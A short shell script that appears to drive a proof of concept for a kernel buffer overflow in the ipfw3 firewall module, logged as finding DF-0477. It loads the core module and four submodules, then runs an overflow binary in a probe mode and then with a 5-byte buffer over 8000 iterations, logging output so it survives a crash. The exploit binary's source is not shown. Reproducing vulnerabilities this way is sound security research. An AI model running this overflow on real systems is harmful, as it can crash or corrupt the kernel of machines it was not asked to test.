#!/bin/sh
# DF-0477 driver - detached. Output -> /root/df0477.out (survives force-kill+boot).
# Loads ipfw3 + several submodules so module_str is long, then probes & overflows.
exec >/root/df0477.out 2>&1
set -x
date
O=/usr/obj/usr/src/sys/X86_64_GENERIC/usr/src/sys/net
kldload $O/ipfw3/ipfw3.ko
echo "core rc=$?"
kldload $O/ipfw3_basic/ipfw3_basic.ko   ; echo "basic rc=$?"
kldload $O/ipfw3_layer2/ipfw3_layer2.ko ; echo "layer2 rc=$?"
kldload $O/ipfw3_layer4/ipfw3_layer4.ko ; echo "layer4 rc=$?"
kldload $O/ipfw3_nat/ipfw3_nat.ko       ; echo "nat rc=$?"
kldstat | grep -i ipfw
cd /root/poc/DF-0477
echo "=== probe: large buffer to see module_str ==="
./ipfw3_get_modules_overflow 1 256
echo "=== overflow: minimal buffer (5), 8000 iters ==="
./ipfw3_get_modules_overflow 8000 5
echo "POC_DONE rc=$?"
date
sync